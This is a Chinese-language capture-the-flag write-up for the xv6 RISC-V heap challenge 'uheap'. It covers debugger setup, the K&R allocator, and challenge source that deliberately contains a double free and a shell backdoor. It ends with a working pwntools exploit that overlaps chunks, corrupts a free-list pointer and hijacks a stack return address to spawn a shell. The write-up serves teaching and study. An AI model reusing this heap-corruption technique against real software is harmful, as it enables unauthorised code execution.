附件：https://github.com/Qanux/uheap
这是一道133nson师兄出的题(太强啦),看了后只能说自己的见识还是太少了。
这一道是xv6系统的堆题，附件已经给出了一个完整的qemu环境，只要输入./run.sh即可启动程序
题目有一个hint文件

1
2
3
4
5
6
7
8
9
10
11
12
13
This challenge is running on the xv6 system. (Attention: its heap allocator is different from GLIBC)
You can get the xv6 source files on https://github.com/mit-pdos/xv6-riscv
You can run this challenge locally using the command './run.sh' and your goal is to PWN the binary chal
To make things simple, the binary file is compiled with debug_info and I have left its source code in chal.c. This means you can use qemu and gdb-multiarch(or other debuggers) for source level debugging if necessary. (You just need to add '-S -gdb tcp::26000' to the qemu parameter in the file run.sh then you can start gdb for local debugging)
Here are some useful gdb commands. You can write them in the file .gdbinit and start gdb with the command 'gdb-multiarch -x .gdbinit'

target remote:26000
set architecture riscv:rv64
file chal
set disassemble-next-line on
layout src

If you have any problem about the remote environment, please contact the admin. Have fun!

由于elf文件是附带调试信息编译的，这大大方便了我们进行动态调试

如何调试

相信很多萌新还不知道怎么进行调试，这里就进行傻瓜式教学
首先在github上面下载umalloc.c文件(hint文件上写明了)，然后将该文件放入在和chal同一个路径下
然后将run.sh文件中的内容进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

LD_LIBRARY_PATH=./depend exec ./qemu-system-riscv64 \
        -machine virt \
        -bios none \
        -kernel kernel \
        -m 256M \
        -smp 3 \
        -nographic \
        -drive file=fs.img,if=none,format=raw,id=x0 \
        -device virtio-blk-device,drive=x0,bus=virtio-mmio-bus.0 \
        -monitor /dev/null \
        -S -gdb tcp::26000

此时通过./run.sh来启动，然后再重新打开另外一个终端，进入到chal文件的路径下，通过gdb-multiarch，然后依次输入下面的命令

1
2
3
4
5
6
7
target remote:26000
set architecture riscv:rv64
file chal
set disassemble-next-line on
layout src
b main
c

此时即可进行调试，不过我们不能向平时一样通过bin、stack这些指令来查看堆内存(其实我也不知道怎么看，请求大佬指教)，不过x/16gx 这一些基础的指令还是可以使用

xv6堆管理分析

首先来看看xv6中的堆块长什么样

1
2
3
4
5
6
7
8
9
typedef long Align;

union header {
    struct {
        union header *ptr;
        uint size;
    } s;
    Align x;
};

可以看到堆块的结构和我们平时glibc中的不一样，他没有prev_size，取而代之的是堆块的指针，我们可以猜到这个指针因该和我们的fd指针类似(储存在free后的链表中的下一个free的堆块的堆头的位置)
umalloc.c(https://github.com/mit-pdos/xv6-riscv)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"
#include "kernel/param.h"

// Memory allocator by Kernighan and Ritchie,
// The C programming Language, 2nd ed.  Section 8.7.

typedef long Align;

union header {
  struct {
    union header *ptr;
    uint size;
  } s;
  Align x;
};

typedef union header Header;

static Header base;
static Header *freep;

void
free(void *ap)
{
  Header *bp, *p;

  bp = (Header*)ap - 1;
  for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
    if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
      break;
  if(bp + bp->s.size == p->s.ptr){
    bp->s.size += p->s.ptr->s.size;
    bp->s.ptr = p->s.ptr->s.ptr;
  } else
    bp->s.ptr = p->s.ptr;
  if(p + p->s.size == bp){
    p->s.size += bp->s.size;
    p->s.ptr = bp->s.ptr;
  } else
    p->s.ptr = bp;
  freep = p;
}

static Header*
morecore(uint nu)
{
  char *p;
  Header *hp;

  if(nu < 4096)
    nu = 4096;
  p = sbrk(nu * sizeof(Header));
  if(p == (char*)-1)
    return 0;
  hp = (Header*)p;
  hp->s.size = nu;
  free((void*)(hp + 1));
  return freep;
}

void*
malloc(uint nbytes)
{
  Header *p, *prevp;
  uint nunits;

  nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
  if((prevp = freep) == 0){
    base.s.ptr = freep = prevp = &base;
    base.s.size = 0;
  }
  for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
    if(p->s.size >= nunits){
      if(p->s.size == nunits)
        prevp->s.ptr = p->s.ptr;
      else {
        p->s.size -= nunits;
        p += p->s.size;
        p->s.size = nunits;
      }
      freep = prevp;
      return (void*)(p + 1);
    }
    if(p == freep)
      if((p = morecore(nunits)) == 0)
        return 0;
  }
}

我们侧重看一下堆块大小的计算

1
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;

大概就是原本的堆块大小减一加上一个堆头结构的大小后除以堆头的大小再向上取整（比如申请0x19大小的堆块计算出的size为3，申请0x30的堆块计算出的size为4）

malloc函数

在malloc函数中，先根据申请的堆块计算出相应的堆块大小，若free链表的表头为0（free链表尚未初始化，则会将静态全局变量base的地址赋值给free的表头指针freep）。然后会从prevp->s.ptr（表头后的第一个堆块指针）开始顺着s.ptr遍历free链表，若遇到比待申请的堆块大小大的堆块，则会直接切分该堆块，将前一部分返回，后一部分留在链表内；若遇到size刚好符合需求的，则将其脱链后直接返回；若遍历完整个链表仍未遇到可以进行分配的free堆块，则会调用morecore函数向系统申请更多的内存。

free函数

在free函数中，会先遍历free链表，若途中遇到待释放的堆块地址处于链表中的两个free堆块之间的话，则会提前退出，否则等待链表被遍历完一轮之后退出（实际上该链表为一个单向循环链表）。然后检查该堆块是否有前/后向相邻的free堆块，若有则进行前/后向合并，若无则将其直接插入到free链表中。

题目分析

查看保护机制

1
2
3
4
5
6
7
8
9
or4nge@圈圈:/mnt/d/desktop/uheap$ checksec chal
[!] Did not find any GOT entries
[*] '/mnt/d/desktop/uheap/chal'
    Arch:     riscv64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
    RWX:      Has RWX segments

只开启的NX enabled(133nson：“送分题”)
出题人比较友好，直接给出了题目源码
chal.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"

char *arr[4];
void *record;
int chance = 1;

void banner() {
	printf("         __\n");
	printf("  __  __/ /_  ___  ____ _____\n");
	printf(" / / / / __ \\/ _ \\/ __ `/ __ \\\n");
	printf("/ /_/ / / / /  __/ /_/ / /_/ /\n");
	printf("\\__,_/_/ /_/\\___/\\__,_/ .___/\n");
	printf("                     /_/\n");
}

void menu() {
	printf("1. add\n");
	printf("2. delete\n");
	printf("3. ???\n");
}

void readline(char *buf, int size)
{
	int i;
	for(i = 0; i < size; i++) {
		read(1, &buf[i], 1);
		if(buf[i] == '\x0a'){
			buf[i] = '\x00';
			break;
		}
	}
}

void add() {
	int size;
	printf("size: ");
	scanf("%d", &size);
	if (size < 0 || size > 0x50)
		return;

	int idx;
	for (idx = 0; idx < 4; idx++)
		if (arr[idx] == 0)
			break;
	if (idx == 4)
		return;

	arr[idx] = malloc(size);
	printf("content: ");
	readline(arr[idx], size);
}

void delete() {
	int idx;
	printf("index: ");
	scanf("%d", &idx);

	if (idx >= 0 && idx < 4) {
		if (arr[idx]) {
			free(arr[idx]);
			if (chance)
				record = arr[idx];
			arr[idx] = 0;
		}
	}
}

void backdoor() {
	char *argv[] = {"sh", 0};
	exec("sh", argv);
}

void gift() {
	if (chance) {
		if (record)
			free(record);
		record = 0;
		chance = 0;
	}
}

int main() {
	banner();

	int choice;
	while (1) {
		menu();
		scanf("%d", &choice);
		switch (choice) {
			case 1:
				add();
				break;
			case 2:
				delete();
				break;
			case 3:
				gift();
				break;
		}
	}
}

题目给出的backdoor，而且gitf函数则是直接送了一次double free
但是我们不能直接double free，主要有两个原因：

  • 观察到free函数前面会有一个循环遍历
1
2
3
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
  if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
    break;

如果直接double free会直接在这里进入死循环

  • ptr指针在heap的头部前8个字节，直接double free并不能对起做任何修改

所以可以选择叠堆后造成堆溢出才有机会修改ptr指针

因为这里的堆块合并条件非常简单，所以造堆叠也很简单，先free两个相邻的堆块让他们合并（下文称这两个堆块中低地址的堆块为a，高地址的为b），合并后表头freep变为刚刚释放的a，然后double free堆块b，这个时候因为表头是a，所以第一次循环就满足 if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 的条件退出循环，这时又因为b与之前a不相邻（合并后堆块a的size已被修改为合并后的大小），所以不会触发合并，而是将b直接链入链表。现在只需要将a申请出来，就可以堆叠到b进行非法写入修改free链表上堆块b的s.ptr。因为之前合并的时候freep被赋值为了堆块a，而malloc遍历是从freep->s.ptr开始遍历的，为了简化利用模型，可以再free一个低于以上两个且不相邻的堆块来更新freep，将freep->s.ptr变成堆块a，然后下次malloc的时候就会从a开始遍历。这时申请出size为a+b堆块就可以把之前的a申请出来，利用堆叠写b->s.ptr为目标地址addr，再连续分配两次（先要把b给申请出来），malloc就会尝试将addr分配出去，这时如果addr合法（地址合法且size符合要求）就会返回addr，到这一步就完成了容易地址分配
至于分配到哪，因为程序是静态链接的，没got表可打，没动态库中的hook和glibc中的经典io可打，也没什么现成的函数指针可以利用。所以考虑分配到栈上劫持返回地址到后门，因为系统没有ASLR功能（其实出题人出到一半看到了一篇xv6实现ASLR功能的论文，但因为时间比较仓促所以没有把ASLR加上了，也算是变相降低了难度吧），可以通过调试找到固定的栈帧地址来劫持add函数的返回地址。最后就是因为malloc函数中要size满足要求才能将目标地址addr分配出去，所以这里可以考虑利用add函数的局部栈上变量size和idx来构造合法的size将addr分配出去，这里用的是idx（idx最后为3，可以通过 malloc(0x20) 分配）

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p = process('./run.sh')

def menu(choice):
    p.sendlineafter('3. ???\n', str(choice))

def add(size, content):
    menu(1)
    p.sendlineafter('size: ', str(size))
    p.sendlineafter('content: ', content)

def delete(idx):
    menu(2)
    p.sendlineafter('index: ', str(idx))

def gift():
    menu(3)

add(0x20, 'a') # 0
add(0x20, 'a') # 1
add(0x20, 'a') # 2
add(0x20, 'a') # 3
delete(1)
delete(0)
gift()
delete(3)
add(0x50, b'a' * 0x20 + p64(0x3fa4))
add(0x20, 'a')
add(0x20, b'a' * 4 + p64(0x2da))
p.interactive()